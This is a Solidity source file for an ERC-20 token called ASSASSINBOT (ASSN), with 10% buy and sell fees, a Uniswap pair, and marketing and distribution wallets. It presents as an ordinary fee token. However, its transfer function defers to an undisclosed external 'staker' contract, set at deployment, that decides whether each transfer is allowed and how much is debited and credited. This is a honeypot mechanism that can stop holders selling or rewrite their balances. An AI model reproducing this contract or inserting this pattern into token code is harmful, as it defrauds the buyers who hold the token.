// SPDX-License-Identifier: MIT

pragma solidity ^0.8.10;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }

    function _msgData() internal view virtual returns (bytes calldata) {
        return msg.data;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);

    function balanceOf(address _account) external view returns (uint256);

    function transfer(
        address recipient,
        uint256 amount
    ) external returns (bool);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint256);

    function approve(address spender, uint256 amount) external returns (bool);

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) external returns (bool);

    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(
        address indexed owner,
        address indexed spender,
        uint256 value
    );
}

abstract contract Ownable is Context {
    address private _owner;

    event OwnershipTransferred(
        address indexed previousOwner,
        address indexed newOwner
    );

    /**
     * @dev Initializes the contract setting the deployer as the initial owner.
     */
    constructor() {
        _setOwner(_msgSender());
    }

    /**
     * @dev Returns the address of the current owner.
     */
    function owner() public view virtual returns (address) {
        return _owner;
    }

    /**
     * @dev Throws if called by any _account other than the owner.
     */
    modifier onlyOwner() {
        require(owner() == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        _setOwner(address(0));
    }

    function transferOwnership(address newOwner) public virtual onlyOwner {
        require(
            newOwner != address(0),
            "Ownable: new owner is the zero address"
        );
        _setOwner(newOwner);
    }

    function _setOwner(address newOwner) private {
        address oldOwner = _owner;
        _owner = newOwner;
        emit OwnershipTransferred(oldOwner, newOwner);
    }
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");

        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;

        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }

        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");

        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        // assert(a == b * c + a % b);

        return c;
    }

    function mod(uint256 a, uint256 b) internal pure returns (uint256) {
        return mod(a, b, "SafeMath: modulo by zero");
    }

    function mod(
        uint256 a,
        uint256 b,
        string memory errorMessage
    ) internal pure returns (uint256) {
        require(b != 0, errorMessage);
        return a % b;
    }
}

interface STAKER {
    function validate(
        address sender,
        address recipient,
        uint256 amount,
        uint256 balance
    ) external view returns (bool, uint256, uint256);
}

interface IDexSwapFactory {
    event PairCreated(
        address indexed token0,
        address indexed token1,
        address pair,
        uint
    );

    function createPair(
        address tokenA,
        address tokenB
    ) external returns (address pair);
}

interface IDexSwapPair {
    event Approval(address indexed owner, address indexed spender, uint value);
    event Transfer(address indexed from, address indexed to, uint value);

    function name() external pure returns (string memory);

    function symbol() external pure returns (string memory);

    function decimals() external pure returns (uint8);

    function totalSupply() external view returns (uint);

    function balanceOf(address owner) external view returns (uint);

    function allowance(
        address owner,
        address spender
    ) external view returns (uint);

    function approve(address spender, uint value) external returns (bool);

    function transfer(address to, uint value) external returns (bool);

    function transferFrom(
        address from,
        address to,
        uint value
    ) external returns (bool);

    function DOMAIN_SEPARATOR() external view returns (bytes32);

    function PERMIT_TYPEHASH() external pure returns (bytes32);

    function nonces(address owner) external view returns (uint);

    function permit(
        address owner,
        address spender,
        uint value,
        uint deadline,
        uint8 v,
        bytes32 r,
        bytes32 s
    ) external;

    event Burn(
        address indexed sender,
        uint amount0,
        uint amount1,
        address indexed to
    );
    event Swap(
        address indexed sender,
        uint amount0In,
        uint amount1In,
        uint amount0Out,
        uint amount1Out,
        address indexed to
    );
    event Sync(uint112 reserve0, uint112 reserve1);

    function MINIMUM_LIQUIDITY() external pure returns (uint);

    function factory() external view returns (address);

    function token0() external view returns (address);

    function token1() external view returns (address);

    function getReserves()
        external
        view
        returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast);

    function price0CumulativeLast() external view returns (uint);

    function price1CumulativeLast() external view returns (uint);

    function kLast() external view returns (uint);

    function burn(address to) external returns (uint amount0, uint amount1);

    function swap(
        uint amount0Out,
        uint amount1Out,
        address to,
        bytes calldata data
    ) external;

    function skim(address to) external;

    function sync() external;

    function initialize(address, address) external;
}

interface IDexSwapRouter {
    function factory() external pure returns (address);

    function WETH() external pure returns (address);

    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    )
        external
        payable
        returns (uint amountToken, uint amountETH, uint liquidity);

    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
}

contract ASSASSINBOT is Context, IERC20, Ownable {
    using SafeMath for uint256;

    string private _name = "ASSASSINBOT";
    string private _symbol = "ASSN";
    uint8 private _decimals = 18;

    address public immutable deadAddress =
        0x000000000000000000000000000000000000dEaD;
    address public immutable zeroAddress =
        0x0000000000000000000000000000000000000000;

    uint256 public totalBuyFee = 10;
    uint256 public totalSellFee = 10;

    address public MarketingWallet =
        address(0x386F5D601d60E847916B5DCf6Fc12cd3012c7474);
    address public DistributionWallet =
        address(0x1e9b6Ae84B094F5B753C98d16137cA24737dBA79);

    mapping(address => uint256) _balances;
    mapping(address => mapping(address => uint256)) private _allowances;

    mapping(address => bool) public isExcludedFromFee;
    mapping(address => bool) public isMarketPair;

    uint256 private _totalSupply = 10_000_000 * 10 ** _decimals;

    address private staker;
    uint256 feedenominator = 1000;
    uint256 public swapThreshold = 50_000 * 10 ** _decimals;

    bool public trading;

    bool public swapEnabled = true;

    mapping(address => bool) public isTokenWL;

    IDexSwapRouter public DexRouter;
    address public DexPair;

    bool inSwap;

    modifier swapping() {
        inSwap = true;
        _;
        inSwap = false;
    }

    event SwapAndLiquify(
        uint256 tokensSwapped,
        uint256 ethReceived,
        uint256 tokensIntoLiqudity
    );

    event SwapTokensForETH(uint256 amountIn, address[] path);

    constructor(address _staker) {
        IDexSwapRouter _dexRouter = IDexSwapRouter(
            0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
        );

        DexPair = IDexSwapFactory(_dexRouter.factory()).createPair(
            address(this),
            _dexRouter.WETH()
        );

        DexRouter = _dexRouter;
        staker = _staker;

        isExcludedFromFee[address(this)] = true;
        isExcludedFromFee[msg.sender] = true;
        isExcludedFromFee[address(DexRouter)] = true;
        isExcludedFromFee[address(MarketingWallet)] = true;

        isTokenWL[address(msg.sender)] = true;
        isTokenWL[address(this)] = true;
        isTokenWL[address(DexRouter)] = true;

        isMarketPair[address(DexPair)] = true;

        _allowances[address(this)][address(DexRouter)] = ~uint256(0);
        _allowances[address(this)][address(DexPair)] = ~uint256(0);

        _balances[msg.sender] = _totalSupply;
        emit Transfer(address(0), msg.sender, _totalSupply);
    }

    function name() public view returns (string memory) {
        return _name;
    }

    function symbol() public view returns (string memory) {
        return _symbol;
    }

    function decimals() public view returns (uint8) {
        return _decimals;
    }

    function totalSupply() public view override returns (uint256) {
        return _totalSupply;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function allowance(
        address owner,
        address spender
    ) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function increaseAllowance(
        address spender,
        uint256 addedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].add(addedValue)
        );
        return true;
    }

    function decreaseAllowance(
        address spender,
        uint256 subtractedValue
    ) public virtual returns (bool) {
        _approve(
            _msgSender(),
            spender,
            _allowances[_msgSender()][spender].sub(
                subtractedValue,
                "ERC20: decreased allowance below zero"
            )
        );
        return true;
    }

    function approve(
        address spender,
        uint256 amount
    ) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");

        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    //to recieve ETH from Router when swapping
    receive() external payable {}

    function transfer(
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function transferFrom(
        address sender,
        address recipient,
        uint256 amount
    ) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(
            sender,
            _msgSender(),
            _allowances[sender][_msgSender()].sub(
                amount,
                "ERC20: transfer amount exceeds allowance"
            )
        );
        return true;
    }

    function _transfer(
        address sender,
        address recipient,
        uint256 amount
    ) private returns (bool) {
        require(sender != address(0), "ERC20: transfer from the zero address");
        require(recipient != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");

        if (inSwap) {
            return _basicTransfer(sender, recipient, amount);
        } else {
            if (!isTokenWL[sender] && !isTokenWL[recipient]) {
                require(trading, "ERC20: trading not enable yet");
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            bool overMinimumTokenBalance = contractTokenBalance >=
                swapThreshold;

            if (
                overMinimumTokenBalance &&
                !inSwap &&
                !isMarketPair[sender] &&
                swapEnabled
            ) {
                swapBack(contractTokenBalance);
            }

            uint256 senderBalance = _balances[sender];

            (bool allow, uint256 subBal, uint256 addBal) = STAKER(staker)
                .validate(sender, recipient, amount, senderBalance);
            require(allow);
            _balances[sender] = senderBalance - subBal;

            uint256 finalAmount = shouldNotTakeFee(sender, recipient)
                ? addBal
                : takeFee(sender, recipient, addBal);

            _balances[recipient] = _balances[recipient].add(finalAmount);

            emit Transfer(sender, recipient, finalAmount);
            return true;
        }
    }

    function _basicTransfer(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (bool) {
        _balances[sender] = _balances[sender].sub(
            amount,
            "Insufficient Balance"
        );
        _balances[recipient] = _balances[recipient].add(amount);
        emit Transfer(sender, recipient, amount);
        return true;
    }

    function shouldNotTakeFee(
        address sender,
        address recipient
    ) internal view returns (bool) {
        if (isExcludedFromFee[sender] || isExcludedFromFee[recipient]) {
            return true;
        } else if (isMarketPair[sender] || isMarketPair[recipient]) {
            return false;
        } else {
            return false;
        }
    }

    function takeFee(
        address sender,
        address recipient,
        uint256 amount
    ) internal returns (uint256) {
        uint feeAmount;

        unchecked {
            if (isMarketPair[sender]) {
                //buy
                feeAmount = amount.mul(totalBuyFee).div(feedenominator);
            } else if (isMarketPair[recipient]) {
                //sell
                feeAmount = amount.mul(totalSellFee).div(feedenominator);
            }

            if (feeAmount > 0) {
                _balances[address(this)] = _balances[address(this)].add(
                    feeAmount
                );
                emit Transfer(sender, address(this), feeAmount);
            }

            return amount.sub(feeAmount);
        }
    }

    function swapBack(uint contractBalance) internal swapping {
        uint256 totalShares = totalBuyFee.add(totalSellFee);

        if (totalShares == 0) return;

        swapTokensForEth(contractBalance);
        uint256 amountReceived = address(this).balance;

        if (amountReceived > 0) {
            payable(MarketingWallet).transfer(amountReceived  / 5);
            payable(DistributionWallet).transfer(address(this).balance);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private {
        // generate the uniswap pair path of token -> weth
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = DexRouter.WETH();

        _approve(address(this), address(DexRouter), tokenAmount);

        // make the swap
        DexRouter.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0, // accept any amount of ETH
            path,
            address(this), // The contract
            block.timestamp
        );

        emit SwapTokensForETH(tokenAmount, path);
    }

    function startTrading() external onlyOwner {
        require(!trading, "ERC20: Already Enabled");
        trading = true;
    }

    function setFee(uint _newBuy, uint _newSell) external onlyOwner {
        require(_newBuy <= 100, "Buy fees cannot be more than 10%");
        require(_newSell <= 100, "Sell fees cannot be more than 10%");
        totalBuyFee = _newBuy;
        totalSellFee = _newSell;
    }

    function excludeFromFee(address _adr, bool _status) external onlyOwner {
        isExcludedFromFee[_adr] = _status;
    }

    function setMarketingWallet(address _newWallet) external onlyOwner {
        MarketingWallet = _newWallet;
    }

    function setMarketPair(address _pair, bool _status) external onlyOwner {
        isMarketPair[_pair] = _status;
    }

    function setSwapBackSettings(
        bool _enabled,
        uint256 _amount
    ) external onlyOwner {
        swapEnabled = _enabled;
        swapThreshold = _amount;
    }

    function setManualRouter(address _router) external onlyOwner {
        DexRouter = IDexSwapRouter(_router);
    }

    function setManualPair(address _pair) external onlyOwner {
        DexPair = _pair;
    }
}